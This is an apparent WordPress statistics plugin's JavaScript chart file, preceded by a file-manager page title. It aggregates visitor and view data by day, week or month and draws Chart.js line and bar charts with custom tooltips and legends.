Sindbad~EG File Manager
wps_js.hex_to_rgba = function (hex, opacity) {
const defaultColor = '#3288D7';
if (typeof hex !== 'string' || hex[0] !== '#' || (hex.length !== 7 && hex.length !== 4)) {
hex = defaultColor;
}
if (hex.length === 4) {
hex = '#' + hex[1].repeat(2) + hex[2].repeat(2) + hex[3].repeat(2);
}
hex = hex.replace('#', '');
let hex_to_rgba_r = parseInt(hex.substring(0, 2), 16);
let hex_to_rgba_g = parseInt(hex.substring(2, 4), 16);
let hex_to_rgba_b = parseInt(hex.substring(4, 6), 16);
return wps_js.rgba_to_hex(hex_to_rgba_r, hex_to_rgba_g, hex_to_rgba_b, opacity);
}
wps_js.rgba_to_hex = function (r, g, b, a) {
let hex_r = r.toString(16).padStart(2, '0');
let hex_g = g.toString(16).padStart(2, '0');
let hex_b = b.toString(16).padStart(2, '0');
let hex_a = Math.round(a * 255).toString(16).padStart(2, '0');
return `#${hex_r}${hex_g}${hex_b}${hex_a}`;
}
const chartColors = {
'Total': '#27A765', 'Views': '#7362BF', 'Visitors': '#3288D7', 'User Visitors':'#3288D7', 'Anonymous Visitors' :'#7362BF', 'Published Posts' : '#8AC3D0',
'Posts': '#8AC3D0', 'Other1': '#3288D7', 'Other2': '#7362BF', 'Other3': '#8AC3D0'
};
const chartTensionValues = [0.1, 0.3, 0.5, 0.7];
const getOrCreateTooltip = (chart) => {
let tooltipEl = chart.canvas.parentNode.querySelector('div');
if (!tooltipEl) {
tooltipEl = document.createElement('div');
tooltipEl.classList.add('wps-chart-tooltip');
tooltipEl.style.opacity = 1;
tooltipEl.style.pointerEvents = 'none';
tooltipEl.style.position = 'absolute';
tooltipEl.style.transition = 'all .1s ease';
const table = document.createElement('table');
table.style.margin = '0px';
tooltipEl.appendChild(table);
chart.canvas.parentNode.appendChild(tooltipEl);
}
return tooltipEl;
};
wps_js.setTooltipPosition = function (tooltipEl, chart, tooltip) {
const {
offsetLeft: chartLeft,
offsetTop: chartTop,
clientWidth: chartWidth,
clientHeight: chartHeight
} = chart.canvas;
const {caretX, caretY} = tooltip;
const tooltipWidth = tooltipEl.offsetWidth;
const tooltipHeight = tooltipEl.offsetHeight;
const margin = 16;
let tooltipX = chartLeft + caretX + margin;
let tooltipY = chartTop + caretY - tooltipHeight / 2;
if (tooltipX + tooltipWidth + margin > chartLeft + chartWidth) {
tooltipX = chartLeft + caretX - tooltipWidth - margin;
}
if (tooltipX < chartLeft + margin) {
tooltipX = chartLeft + margin;
}
if (tooltipY < chartTop + margin) {
tooltipY = chartTop + margin;
}
if (tooltipY + tooltipHeight + margin > chartTop + chartHeight) {
tooltipY = chartTop + chartHeight - tooltipHeight - margin;
}
tooltipEl.style.opacity = 1;
tooltipEl.style.left = tooltipX + 'px';
tooltipEl.style.top = tooltipY + 'px';
}
const externalTooltipHandler = (context, data, dateLabels, prevDateLabels, monthTooltip, prevMonthTooltip) => {
const {chart, tooltip} = context;
const unitTime = chart.options.plugins.tooltip.unitTime;
const tooltipEl = getOrCreateTooltip(chart);
if (tooltip.opacity === 0) {
tooltipEl.style.opacity = 0;
return;
}
if (tooltip.body) {
const titleLines = tooltip.title || [];
const dataIndex = tooltip.dataPoints[0].dataIndex;
const datasets = chart.data.datasets;
let innerHtml = `<div>`;
titleLines.forEach(title => {
if (unitTime === 'day') {
const label = (data.data) ? data.data.labels[dataIndex] : data.labels[dataIndex];
const {date, day} = label; // Ensure `date` and `day` are correctly extracted
const phpDateFormat = wps_js.isset(wps_js.global, 'options', 'wp_date_format') ? wps_js.global['options']['wp_date_format'] : 'MM/DD/YYYY';
let momentDateFormat = phpToMomentFormat(phpDateFormat);
innerHtml += `<div class="chart-title">${moment(date).format(momentDateFormat)} (${day})</div>`;
} else if (unitTime === 'month') {
innerHtml += `<div class="chart-title">${monthTooltip[dataIndex]}</div>`;
} else {
innerHtml += `<div class="chart-title">${dateLabels[dataIndex]}</div>`;
}
});
datasets.forEach((dataset, index) => {
const meta = chart.getDatasetMeta(index);
const isPrevious = dataset.label.includes('(Previous)');
if (!meta.hidden && !isPrevious) {
const value = dataset.data[dataIndex];
innerHtml += `
<div class="current-data">
<div>
<span class="current-data__color" style="background-color: ${dataset.hoverPointBackgroundColor};"></span>
${dataset.label}
</div>
<span class="current-data__value">${value.toLocaleString()}</span>
</div>`;
}
const previousDataset = datasets.find(ds => ds.label === `${dataset.label} (Previous)`);
if (previousDataset) {
const previousMeta = chart.getDatasetMeta(datasets.indexOf(previousDataset));
const previousPeriodElement = document.querySelector('.wps-postbox-chart--previousPeriod');
const isPreviousHidden = previousPeriodElement && previousPeriodElement.classList.contains('wps-line-through');
if (!previousMeta.hidden && !isPreviousHidden) {
const previousValue = previousDataset.data[dataIndex] || 0;
let previousLabel = null;
if (unitTime === 'day') {
previousLabel = prevDateLabels[dataIndex];
} else if (unitTime === 'month') {
previousLabel = prevMonthTooltip[dataIndex];
} else {
previousLabel = prevDateLabels[dataIndex];
}
if (previousLabel === undefined) {
previousLabel = 'N/A'; // Fallback for undefined labels
}
innerHtml += `
<div class="previous-data">
<div>
<span class="previous-data__colors">
<span class="previous-data__color" style="background-color: ${dataset.hoverPointBackgroundColor};"></span>
<span class="previous-data__color" style="background-color: ${dataset.hoverPointBackgroundColor};"></span>
</span>
${previousLabel}
</div>
<span class="previous-data__value"> ${previousValue.toLocaleString()}</span>
</div>`;
}
}
});
innerHtml += `</div>`;
tooltipEl.innerHTML = innerHtml;
wps_js.setTooltipPosition(tooltipEl, chart, tooltip);
}
};
// Custom plugin definition
const drawVerticalLinePlugin = {
id: 'drawVerticalLine',
beforeDatasetDraw(chart) {
const {ctx, scales: {x, y}, tooltip, chartArea: {top, bottom}} = chart;
if (tooltip && tooltip._active && tooltip._active.length) {
const xValue = tooltip._active[0].element.x;
ctx.beginPath();
ctx.strokeStyle = '#A9AAAE';
ctx.lineWidth = 1;
ctx.setLineDash([6, 6]);
ctx.moveTo(xValue, top);
ctx.lineTo(xValue, bottom);
ctx.stroke();
ctx.setLineDash([]);
}
}
};
const phpToMomentFormat = (phpFormat) => {
const formatMap = {
'd': 'DD',
'j': 'D',
'S': 'Do',
'n': 'M',
'm': 'MM',
'F': 'MMM',
'M': 'MMM',
'y': 'YY',
'Y': 'YYYY'
};
return phpFormat.replace(/([a-zA-Z])/g, (match) => formatMap[match] || match);
}
const formatDateRange = (startDate, endDate, unit, momentDateFormat, isInsideDashboardWidgets) => {
const startDateFormat = momentDateFormat.replace(/,?\s?(YYYY|YY)[-/\s]?,?|[-/\s]?(YYYY|YY)[-/\s]?,?/g, "");
if (unit === 'month') {
const monthFormat = momentDateFormat
.replace(/D+/g, '')
.replace(/\/\//g, '/')
.replace(/^\//, '')
.replace(/\/$/, '')
.replace(/\s*,/, '')
.replace(/-$/, '')
.trim();
return moment(startDate).format(monthFormat);
} else {
if (moment(startDate).year() === moment(endDate).year()) {
return `${moment(startDate).format(startDateFormat)} to ${moment(endDate).format(momentDateFormat)}`;
} else {
return `${moment(startDate).format(momentDateFormat)} to ${moment(endDate).format(momentDateFormat)}`;
}
}
}
const setMonthDateRange = (startDate, endDate, momentDateFormat) => {
const startDateFormat = momentDateFormat.replace(/,?\s?(YYYY|YY)[-/\s]?,?|[-/\s]?(YYYY|YY)[-/\s]?,?/g, "");
if (moment(startDate).year() === moment(endDate).year()) {
return `${moment(startDate).format(startDateFormat)} to ${moment(endDate).format(momentDateFormat)}`;
} else {
return `${moment(startDate).format(momentDateFormat)} to ${moment(endDate).format(momentDateFormat)}`;
}
}
const aggregateData = (labels, datasets, unit, momentDateFormat, isInsideDashboardWidgets) => {
if (!labels || !labels.length || !datasets || !datasets.length) {
console.error("Invalid input: labels or datasets are empty.");
return {
aggregatedLabels: [],
aggregatedData: datasets ? datasets.map(() => []) : [],
monthTooltipTitle: [],
};
}
const isIncompletePeriod = [];
const now = moment();
if (unit === 'day') {
labels.forEach(label => {
const date = moment(label.date);
isIncompletePeriod.push(date.isSameOrAfter(now, 'day'));
});
return {
aggregatedLabels: labels.map(label => label.formatted_date),
aggregatedData: datasets.map(dataset => dataset.data),
monthTooltipTitle: [],
isIncompletePeriod
};
}
const aggregatedLabels = [];
const aggregatedData = datasets.map(() => []);
const monthTooltipTitle = [];
const groupedData = {};
if (unit === 'week') {
if (wps_js._('start_of_week')) {
moment.updateLocale('en', {
week: {
dow: parseInt(wps_js._('start_of_week'))
}
});
}
const startDate = moment(labels[0].date);
const endDate = moment(labels[labels.length - 1].date);
// Create an array of all weeks between start and end date
const weeks = [];
let currentWeekStart = startDate.clone();
while (currentWeekStart.isSameOrBefore(endDate)) {
let nextWeekStart = currentWeekStart.clone().startOf('week').add(1, 'week');
let weekEnd = nextWeekStart.clone().subtract(1, 'day');
// For the last week, if it would go beyond endDate, adjust it
if (weekEnd.isAfter(endDate)) {
weekEnd = endDate.clone();
}
weeks.push({
start: currentWeekStart.clone(),
end: weekEnd,
key: currentWeekStart.format('YYYY-[W]WW'),
data: new Array(datasets.length).fill(0)
});
// Move to next week's start
currentWeekStart = nextWeekStart;
}
labels.forEach((label, i) => {
if (label.date) { // Check if label.date is valid
const date = moment(label.date);
for (let week of weeks) {
if (date.isBetween(week.start, week.end, 'day', '[]')) {
datasets.forEach((dataset, datasetIndex) => {
week.data[datasetIndex] += dataset.data[i] || 0;
});
break;
}
}
}
});
// Build the output arrays
weeks.forEach(week => {
const label = formatDateRange(week.start, week.end, unit, momentDateFormat, isInsideDashboardWidgets);
aggregatedLabels.push(label);
monthTooltipTitle.push(setMonthDateRange(week.start, week.end, momentDateFormat));
week.data.forEach((total, datasetIndex) => {
if (!aggregatedData[datasetIndex]) {
aggregatedData[datasetIndex] = [];
}
aggregatedData[datasetIndex].push(total);
});
});
weeks.forEach(week => {
const isIncomplete = week.end.isSameOrAfter(moment(), 'day');
isIncompletePeriod.push(isIncomplete);
});
} else if (unit === 'month') {
const startDate = moment(labels[0].date);
const endDate = moment(labels[labels.length - 1].date);
let currentDate = startDate.clone();
while (currentDate.isSameOrBefore(endDate, 'month')) {
const monthKey = currentDate.format('YYYY-MM');
if (!groupedData[monthKey]) {
groupedData[monthKey] = {
startDate: currentDate.clone().startOf('month'),
endDate: currentDate.clone().endOf('month'),
indices: [],
};
}
currentDate.add(1, 'month');
}
labels.forEach((label, i) => {
if (label.date) {
const date = moment(label.date);
const monthKey = date.format('YYYY-MM');
if (groupedData[monthKey]) {
groupedData[monthKey].indices.push(i);
}
}
});
// Aggregate data for each month
Object.keys(groupedData).forEach(monthKey => {
const {startDate, endDate, indices} = groupedData[monthKey];
const actualStartDate = moment.max(startDate, moment(labels[0].date));
const actualEndDate = moment.min(endDate, moment(labels[labels.length - 1].date));
if (!actualStartDate.isValid() || !actualEndDate.isValid()) {
console.error(`Invalid date range for monthKey ${monthKey}`);
return;
}
if (indices.length > 0) {
const label = formatDateRange(actualStartDate, actualEndDate, unit, momentDateFormat, isInsideDashboardWidgets);
aggregatedLabels.push(label);
datasets.forEach((dataset, idx) => {
const total = indices.reduce((sum, i) => sum + (dataset.data[i] || 0), 0);
aggregatedData[idx].push(total);
});
monthTooltipTitle.push(setMonthDateRange(actualStartDate, actualEndDate, momentDateFormat));
}
});
Object.keys(groupedData).forEach(monthKey => {
const isIncomplete = groupedData[monthKey].endDate.isSameOrAfter(moment(), 'day');
isIncompletePeriod.push(isIncomplete);
});
}
return {aggregatedLabels, aggregatedData, monthTooltipTitle, isIncompletePeriod};
}
const sortTotal = (datasets) =>{
datasets.sort((a, b) => {
if (a.label === 'Total') return -1;
if (b.label === 'Total') return 1;
if (a.label === 'Total (Previous)') return -1;
if (b.label === 'Total (Previous)') return 1;
return 0;
});
}
const updateLegend = (lineChart, datasets, tag_id, data) => {
const chartElement = document.getElementById(tag_id);
const legendContainer = chartElement.parentElement.parentElement.querySelector('.wps-postbox-chart--items');
if (legendContainer) {
legendContainer.innerHTML = '';
const previousPeriod = chartElement.parentElement.parentElement.querySelector('.wps-postbox-chart--previousPeriod');
if (previousPeriod) {
let foundPrevious = datasets.some(dataset => dataset.label.includes('(Previous)'));
if (foundPrevious) {
previousPeriod.style.display = 'flex';
previousPeriod.style.cursor = 'pointer';
if (previousPeriod._clickHandler) {
previousPeriod.removeEventListener('click', previousPeriod._clickHandler);
}
previousPeriod._clickHandler = function (e) {
e.stopPropagation()
const isPreviousHidden = previousPeriod.classList.contains('wps-line-through');
previousPeriod.classList.toggle('wps-line-through');
datasets.forEach((dataset, datasetIndex) => {
if (dataset.label.includes('(Previous)')) {
const meta = lineChart.getDatasetMeta(datasetIndex);
meta.hidden = !isPreviousHidden;
}
});
const previousDataElements = legendContainer.querySelectorAll('.previous-data');
previousDataElements.forEach(elem => {
if (isPreviousHidden) {
elem.classList.remove('wps-line-through');
} else {
elem.classList.add('wps-line-through');
}
});
lineChart.update();
};
previousPeriod.addEventListener('click', previousPeriod._clickHandler);
}
}
datasets.forEach((dataset, index) => {
const isPrevious = dataset.label.includes('(Previous)');
if (!isPrevious) {
const currentData = dataset.data.reduce((a, b) => Number(a) + Number(b), 0);
let previousData = null;
let previousDatasetIndex = null;
if (data?.previousData?.datasets.length > 0) {
const previousDataset = data.previousData.datasets.find((prev, prevIndex) => {
if (prev.label === dataset.label) {
previousDatasetIndex = prevIndex;
return true;
}
return false;
});
if (previousDataset && previousDataset.data) {
previousData = previousDataset.data.reduce((a, b) => Number(a) + Number(b), 0);
}
}
const legendItem = document.createElement('div');
legendItem.className = 'wps-postbox-chart--item';
const previousDataHTML = previousData !== null ? `
<div class="previous-data">
<span>
<span class="wps-postbox-chart--item--color" style="border-color: ${dataset.borderColor}"></span>
<span class="wps-postbox-chart--item--color" style="border-color: ${dataset.borderColor}"></span>
</span>
${previousData.toLocaleString()}
</div>` : '';
legendItem.innerHTML = `
<span>
${dataset.label}
</span>
<div>
<div class="current-data">
<span class="wps-postbox-chart--item--color" style="border-color: ${dataset.borderColor}"></span>
${currentData.toLocaleString()}
</div>
${previousDataHTML}
</div>`;
const currentDataDiv = legendItem.querySelector('.current-data');
currentDataDiv.addEventListener('click', function () {
const metaMain = lineChart.getDatasetMeta(index);
metaMain.hidden = !metaMain.hidden;
currentDataDiv.classList.toggle('wps-line-through');
lineChart.update();
});
const previousDataDiv = legendItem.querySelector('.previous-data');
if (previousDataDiv && previousDatasetIndex !== null) {
previousDataDiv.addEventListener('click', function () {
const metaPrevious = lineChart.data.datasets.find((dataset, dsIndex) => {
return dataset.label === `${datasets[index].label} (Previous)` && lineChart.getDatasetMeta(dsIndex);
});
if (metaPrevious) {
const metaPreviousIndex = lineChart.data.datasets.indexOf(metaPrevious);
const metaPreviousVisibility = lineChart.getDatasetMeta(metaPreviousIndex);
metaPreviousVisibility.hidden = !metaPreviousVisibility.hidden;
previousDataDiv.classList.toggle('wps-line-through');
const allPreviousData = legendContainer.querySelectorAll('.previous-data');
const allHaveLineThrough = Array.from(allPreviousData).every(el =>
el.classList.contains('wps-line-through')
);
if (previousPeriod) {
if (allHaveLineThrough) {
previousPeriod.classList.add('wps-line-through');
} else {
previousPeriod.classList.remove('wps-line-through');
}
}
lineChart.update();
}
});
}
legendContainer.appendChild(legendItem);
}
});
}
}
const deepCopy = (obj) => JSON.parse(JSON.stringify(obj));
const chartInstances = {};
const getDisplayTextForUnitTime = (unitTime, tag_id) => {
const select = document.querySelector(`#${tag_id}`).closest('.o-wrap').querySelector('.js-unitTimeSelect');
if (select) {
const option = select.querySelector(`.wps-unit-time-chart__option[data-value="${unitTime}"]`);
if (option) {
return option.textContent.trim();
}
}
return unitTime;
}
wps_js.new_line_chart = function (data, tag_id, newOptions = null, type = 'line') {
sortTotal(data.data.datasets);
const realdata = deepCopy(data);
const phpDateFormat = wps_js.isset(wps_js.global, 'options', 'wp_date_format') ? wps_js.global['options']['wp_date_format'] : 'MM/DD/YYYY';
let momentDateFormat = phpToMomentFormat(phpDateFormat);
const isInsideDashboardWidgets = document.getElementById(tag_id).closest('#dashboard-widgets') !== null;
// Determine the initial unitTime
const length = data.data.labels.map(dateObj => dateObj.formatted_date).length;
const threshold = type === 'performance' ? 30 : 60;
let unitTime = length <= threshold ? 'day' : length <= 180 ? 'week' : 'month';
const datasets = [];
// Check if there is only one data point
const isSingleDataPoint = data.data.labels.length === 1;
const select = document.querySelector(`#${tag_id}`).closest('.o-wrap').querySelector('.js-unitTimeSelect');
if (select) {
const selectedItem = select.querySelector('.wps-unit-time-chart__selected-item');
if (selectedItem) {
selectedItem.textContent = getDisplayTextForUnitTime(unitTime, tag_id);
}
const options = select.querySelectorAll('.wps-unit-time-chart__option');
options.forEach(opt => {
if (opt.getAttribute('data-value') === unitTime) {
opt.classList.add('selected');
} else {
opt.classList.remove('selected');
}
});
}
const day = aggregateData(realdata.data.labels, realdata.data.datasets, 'day', momentDateFormat, isInsideDashboardWidgets);
const week = aggregateData(realdata.data.labels, realdata.data.datasets, 'week', momentDateFormat, isInsideDashboardWidgets);
const month = aggregateData(realdata.data.labels, realdata.data.datasets, 'month', momentDateFormat, isInsideDashboardWidgets);
const prevDay = realdata?.previousData
? aggregateData(realdata.previousData.labels, realdata.previousData.datasets, 'day', momentDateFormat, isInsideDashboardWidgets)
: null;
const prevWeek = realdata.previousData
? aggregateData(realdata.previousData.labels, realdata.previousData.datasets, 'week', momentDateFormat, isInsideDashboardWidgets)
: null;
const prevMonth = realdata.previousData
? aggregateData(realdata.previousData.labels, realdata.previousData.datasets, 'month', momentDateFormat, isInsideDashboardWidgets)
: null;
// Initialize dateLabels based on the selected unitTime
let dateLabels = unitTime === 'day'
? day.aggregatedLabels
: unitTime === 'week'
? week.aggregatedLabels
: month.aggregatedLabels;
// Initialize monthTooltip and prevMonthTooltip
let monthTooltip = unitTime === 'day'
? day.monthTooltipTitle
: unitTime === 'week'
? week.monthTooltipTitle
: month.monthTooltipTitle;
let prevMonthTooltip = unitTime === 'day'
? (prevDay ? prevDay.monthTooltipTitle : [])
: unitTime === 'week'
? (prevWeek ? prevWeek.monthTooltipTitle : [])
: (prevMonth ? prevMonth.monthTooltipTitle : []);
let prevDateLabels = [];
let prevAggregatedData = [];
if (prevWeek) {
prevDateLabels = prevWeek.aggregatedLabels;
prevAggregatedData = prevWeek.aggregatedData;
while (prevDateLabels.length < dateLabels.length) {
prevDateLabels.push("N/A");
prevAggregatedData.forEach(dataset => dataset.push(0));
}
} else {
prevDateLabels = Array(dateLabels.length).fill("N/A");
if (datasets && datasets.length > 0 && Array.isArray(datasets)) {
prevAggregatedData = datasets.map(() => Array(dateLabels.length).fill(0));
}
}
function updateChart(unitTime) {
const displayText = getDisplayTextForUnitTime(unitTime, tag_id);
const chartElement = document.getElementById(tag_id);
const chartContainer = chartElement.parentElement.parentElement.querySelector('.wps-postbox-chart--data');
const previousPeriodElement = chartContainer?.querySelector('.wps-postbox-chart--previousPeriod');
if (previousPeriodElement) {
previousPeriodElement.classList.remove('wps-line-through');
}
const select = document.querySelector(`#${tag_id}`).closest('.o-wrap').querySelector('.js-unitTimeSelect');
if (select) {
const selectedItem = select.querySelector('.wps-unit-time-chart__selected-item');
if (selectedItem) {
selectedItem.textContent = displayText;
}
}
let aggregatedData, prevAggregatedData;
switch (unitTime) {
case 'day':
aggregatedData = day;
prevAggregatedData = prevDay;
break;
case 'week':
aggregatedData = week;
prevAggregatedData = prevWeek;
break;
case 'month':
aggregatedData = month;
prevAggregatedData = prevMonth;
break;
default:
aggregatedData = day;
prevAggregatedData = prevDay;
}
dateLabels = aggregatedData.aggregatedLabels;
monthTooltip = aggregatedData.monthTooltipTitle;
prevDateLabels = prevAggregatedData ? prevAggregatedData.aggregatedLabels : [];
prevMonthTooltip = prevAggregatedData ? prevAggregatedData.monthTooltipTitle : [];
// If prevDateLabels is empty, fill it with "N/A" for each month
if (prevDateLabels.length === 0 && dateLabels.length > 0) {
prevDateLabels = Array(dateLabels.length).fill("N/A");
}
const datasets = data.data.datasets.map((dataset, idx) => {
const datasetType = dataset.type || (type === 'performance' && idx === 2 ? 'bar' : 'line');
return {
...dataset,
type: datasetType, // Set the type explicitly
data: aggregatedData.aggregatedData[idx],
borderColor: chartColors[data.data.datasets[idx].label] || chartColors[`Other${idx}`],
backgroundColor: chartColors[data.data.datasets[idx].label] || chartColors[`Other${idx}`],
fill: false,
yAxisID: datasetType === 'bar' ? 'y1' : 'y', // Use y1 for bar, y for line
borderWidth: datasetType === 'line' ? 2 : undefined,
pointRadius: datasetType === 'line' ? dateLabels.length === 1 ? 5 : 0 : undefined,
pointBorderColor: datasetType === 'line' ? 'transparent' : undefined,
pointBackgroundColor: datasetType === 'line' ? chartColors[data.data.datasets[idx].label] || chartColors[`Other${idx}`] : undefined,
pointBorderWidth: datasetType === 'line' ? 2 : undefined,
hoverPointRadius: datasetType === 'line' ? 6 : undefined,
hoverPointBorderColor: datasetType === 'line' ? '#fff' : undefined,
hoverPointBackgroundColor: chartColors[data.data.datasets[idx].label] || chartColors[`Other${idx}`],
hoverPointBorderWidth: datasetType === 'line' ? 4 : undefined,
tension: datasetType === 'line' ? chartTensionValues[idx % chartTensionValues.length] : undefined,
hitRadius: 10,
meta: {
incompletePeriods: aggregatedData.isIncompletePeriod || []
},
segment: datasetType === 'line' ? {
borderDash: (ctx) => {
const incompletePeriods = ctx.chart.data.datasets[ctx.datasetIndex]?.meta?.incompletePeriods || [];
const currentIncomplete = incompletePeriods[ctx.p1DataIndex];
const previousIncomplete = incompletePeriods[ctx.p0DataIndex];
// Dash if either end of segment is in incomplete period
if (currentIncomplete || previousIncomplete) {
return [5, 5];
}
return undefined;
}
} : undefined
};
});
if (prevAggregatedData) {
data.previousData.datasets.forEach((dataset, idx) => {
datasets.push({
...dataset,
type: 'line', // Previous datasets are always lines
label: `${dataset.label} (Previous)`,
data: prevAggregatedData.aggregatedData[idx],
borderColor: wps_js.hex_to_rgba(chartColors[dataset.label] || chartColors[`Other${idx}`], 0.7),
hoverBorderColor: chartColors[data.data.datasets[idx].label] || chartColors[`Other${idx}`],
backgroundColor: chartColors[data.data.datasets[idx].label] || chartColors[`Other${idx}`],
fill: false,
yAxisID: 'y',
borderWidth: 1,
borderDash: [5, 5],
pointRadius: aggregatedData.aggregatedLabels.length === 1 ? 5 : 0,
pointBorderColor: 'transparent',
pointBackgroundColor: chartColors[data.data.datasets[idx].label] || chartColors[`Other${idx}`],
pointBorderWidth: 2,
hoverPointRadius: 6,
hoverPointBorderColor: '#fff',
hoverPointBackgroundColor: chartColors[data.data.datasets[idx].label] || chartColors[`Other${idx}`],
hoverPointBorderWidth: 4,
tension: chartTensionValues[idx % chartTensionValues.length],
hitRadius: 10
});
});
}
lineChart.data.labels = dateLabels;
lineChart.options.scales.x.offset = lineChart.data.labels.length === 1;
lineChart.data.datasets = datasets;
lineChart.options.scales.x.ticks.maxTicksLimit = isInsideDashboardWidgets
? unitTime === 'week'
? 2
: 4
: unitTime === 'week'
? 3
: unitTime === 'month'
? 7
: 9;
lineChart.options.plugins.tooltip.unitTime = unitTime;
lineChart.options.plugins.tooltip.external = (context) =>
externalTooltipHandler(context, realdata, dateLabels, prevDateLabels, monthTooltip, prevMonthTooltip);
updateLegend(lineChart, datasets, tag_id, data);
lineChart.update();
}
let ctx_line = document.getElementById(tag_id).getContext('2d');
Object.keys(data.data.datasets).forEach((key, index) => {
let color = chartColors[data.data.datasets[key].label] || chartColors[`Other${index + 1}`];
let tension = chartTensionValues[index % chartTensionValues.length];
let datasetType = 'line'; // Default to line
if (type === 'performance' && index === 2) {
datasetType = 'bar'; // Set to bar for index 2 in performance charts
}
const dataset = {
type: datasetType,
label: data.data.datasets[key].label,
data: data.data.datasets[key].data,
backgroundColor: color,
hoverBackgroundColor: color,
hoverPointBackgroundColor: color,
yAxisID: datasetType === 'bar' ? 'y1' : 'y', // Use y1 for bar, y for line
};
if (datasetType === 'line') {
dataset.borderColor = color;
dataset.fill = false;
dataset.borderWidth = 2;
dataset.pointRadius = 0;
dataset.pointBorderColor = 'transparent';
dataset.pointBackgroundColor = color;
dataset.pointBorderWidth = 2;
dataset.hoverPointRadius = 6;
dataset.hoverPointBorderColor = '#fff';
dataset.hoverPointBorderWidth = 4;
dataset.tension = tension;
dataset.hitRadius = 10;
}
datasets.push(dataset);
});
if (data?.previousData) {
Object.keys(data.previousData.datasets).forEach((key, index) => {
let color = chartColors[data.previousData.datasets[key].label] || chartColors[`Other${index}`];
let tension = chartTensionValues[index % chartTensionValues.length];
datasets.push({
type: 'line',
label: `${data.previousData.datasets[key].label} (Previous)`,
data: data.previousData.datasets[key].data,
borderColor: wps_js.hex_to_rgba(color, 0.7),
hoverBorderColor: color,
backgroundColor: color,
fill: false,
yAxisID: 'y',
borderWidth: 1,
borderDash: [5, 5],
pointRadius: 0,
pointBorderColor: 'transparent',
pointBackgroundColor: color,
pointBorderWidth: 2,
hoverPointRadius: 6,
hoverPointBorderColor: '#fff',
hoverPointBackgroundColor: color,
hoverPointBorderWidth: 4,
tension: tension,
hitRadius: 10
});
});
}
const defaultOptions = {
maintainAspectRatio: false,
resizeDelay: 200,
animation: {
duration: 0,
},
responsive: true,
interaction: {
intersect: false,
mode: 'index'
},
plugins: {
legend: false,
tooltip: {
enabled: false,
external: (context) => externalTooltipHandler(context, realdata, dateLabels, prevDateLabels, monthTooltip, prevMonthTooltip),
unitTime: unitTime, // Set initial unitTime
},
},
scales: {
x: {
offset: isSingleDataPoint,
grid: {
display: false,
drawBorder: false,
tickLength: 0,
drawTicks: false
},
border: {
color: 'transparent',
width: 0
},
ticks: {
align: 'inner',
autoSkip: true,
maxTicksLimit: isInsideDashboardWidgets ? unitTime === 'week' ? 2 : 4 : unitTime === 'week' ? 3 : unitTime === 'month' ? 7 : 9,
font: {
color: '#898A8E',
style: 'italic',
weight: 'lighter',
size: isInsideDashboardWidgets ? (unitTime === 'week' ? 9 : 11) : (unitTime === 'week' ? 11 : 13)
},
padding: 8,
}
},
y: {
min: 0,
suggestedMax: 4,
ticks: {
maxTicksLimit: isInsideDashboardWidgets ? 4 : 7,
fontColor: '#898A8E',
fontSize: 13,
fontStyle: 'italic',
fontWeight: 'lighter ',
padding: 8,
lineHeight: 15,
stepSize: 1
},
border: {
color: 'transparent',
width: 0
},
type: 'linear',
position: 'right',
grid: {
display: true,
tickMarkLength: 0,
drawBorder: false,
tickColor: '#EEEFF1',
color: '#EEEFF1'
},
gridLines: {
drawTicks: false
},
title: {
display: false,
}
}
},
};
if (type === 'performance' && data.data.datasets.length > 2) {
defaultOptions.scales.y1 = {
type: 'linear',
position: 'left',
border: {
color: 'transparent',
width: 0
},
grid: {
display: false,
drawBorder: false,
tickLength: 0,
},
ticks: {
maxTicksLimit: 7,
fontColor: '#898A8E',
fontSize: 13,
fontStyle: 'italic',
fontFamily: '"Roboto",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif',
fontWeight: 'lighter ',
padding: 8,
lineHeight: 15,
stepSize: 1
},
title: {
display: true,
text: `${wps_js._('published')} Posts`,
color: '#898A8E',
fontSize: 13
}
}
defaultOptions.scales.y = {
border: {
color: 'transparent',
width: 0
},
ticks: {
maxTicksLimit: 9,
fontColor: '#898A8E',
fontSize: 13,
fontStyle: 'italic',
fontFamily: '"Roboto",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif',
fontWeight: 'lighter ',
padding: 8,
lineHeight: 15,
stepSize: 1
},
position: 'right',
grid: {
display: true,
borderDash: [5, 5],
tickColor: '#EEEFF1',
color: '#EEEFF1'
},
title: {
display: true,
text: wps_js._('visits'),
color: '#898A8E',
fontSize: 13,
}
}
}
const lineChart = new Chart(ctx_line, {
type: type === 'performance' && data.data.datasets.length > 2 ? 'bar' : 'line',
data: {
labels: [],
datasets: [],
},
plugins: [drawVerticalLinePlugin],
options: Object.assign({}, defaultOptions, newOptions)
});
// Example usage:
updateChart(unitTime);
chartInstances[tag_id] = {
chart: lineChart,
updateChart: updateChart,
};
return chartInstances[tag_id];
};
document.body.addEventListener('click', function (event) {
const select = event.target.closest('.wps-unit-time-chart__selected-item');
const option = event.target.closest('.wps-unit-time-chart__option');
if (select) {
if (!option) {
document.querySelectorAll('.js-unitTimeSelect.open').forEach(openSelect => {
if (openSelect !== select) {
openSelect.parentElement.classList.remove('open');
}
});
select.parentElement.classList.toggle('open');
}
event.stopImmediatePropagation();
} else if (option) {
const select = option.closest('.js-unitTimeSelect');
const selectedValue = option.getAttribute('data-value');
if (select) {
const selectedItem = select.querySelector('.wps-unit-time-chart__selected-item');
if (selectedItem) {
selectedItem.textContent = option.textContent.trim();
}
const options = select.querySelectorAll('.wps-unit-time-chart__option');
options.forEach(opt => opt.classList.remove('selected'));
option.classList.add('selected');
select.classList.remove('open');
const chartContainer = select.closest('.o-wrap').querySelector('.wps-postbox-chart--container');
const canvas = chartContainer.querySelector('canvas');
const canvas_id = canvas.getAttribute('id');
if (chartInstances[canvas_id]) {
chartInstances[canvas_id].updateChart(selectedValue);
}
}
event.stopImmediatePropagation();
} else {
document.querySelectorAll('.js-unitTimeSelect.open').forEach(openSelect => {
openSelect.classList.remove('open');
});
}
